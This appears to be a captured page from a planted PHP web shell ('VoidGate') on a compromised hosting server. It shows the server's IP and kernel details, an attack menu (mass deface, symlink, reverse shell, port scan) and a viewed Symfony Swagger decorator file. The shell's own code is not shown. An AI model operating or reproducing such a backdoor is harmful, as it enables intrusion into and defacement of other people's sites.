ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Swagger
/
Viewing: SwaggerDecorator.php
<?php /** * Created by PhpStorm. * User: ngoua * Date: 6/21/2020 * Time: 1:47 PM */ namespace App\Swagger; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Serializer\Normalizer\NormalizerInterface; final class SwaggerDecorator implements NormalizerInterface { /** * NormalizerInterface */ private $decorated; public function __construct(NormalizerInterface $decorated) { $this->decorated = $decorated; } public function supportsNormalization($data, $format = null): bool { return $this->decorated->supportsNormalization($data, $format); } public function normalize($object, $format = null, array $context = []) { $docs = $this->decorated->normalize($object, $format, $context); $docs['components']['schemas']['jwtToken'] = [ 'type' => 'object', 'properties' => [ 'username' => [ 'type' => 'string', 'example' => 'test_user', ], 'password' => [ 'type' => 'string', 'example' => '123456789', ], ], ]; /**/ $tokenDocumentation = [ 'paths' => [ '/authentication_token' => [ 'post' => [ 'tags' => ['jwtToken'], 'operationId' => 'postCredentialsItem', 'summary' => 'Get JWT token to login.', 'requestBody' => [ 'description' => 'Create new JWT Token', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/jwtToken', ], ], ], ], 'responses' => [ Response::HTTP_OK => [ 'description' => 'Get JWT token', 'content' => [ 'application/json' => [ 'schema' => [ '$ref' => '#/components/schemas/jwtToken', ], ], ], ], ], ], ], ], ]; return array_merge_recursive($docs, $tokenDocumentation); } }
Coded With 💗 by
0x6ick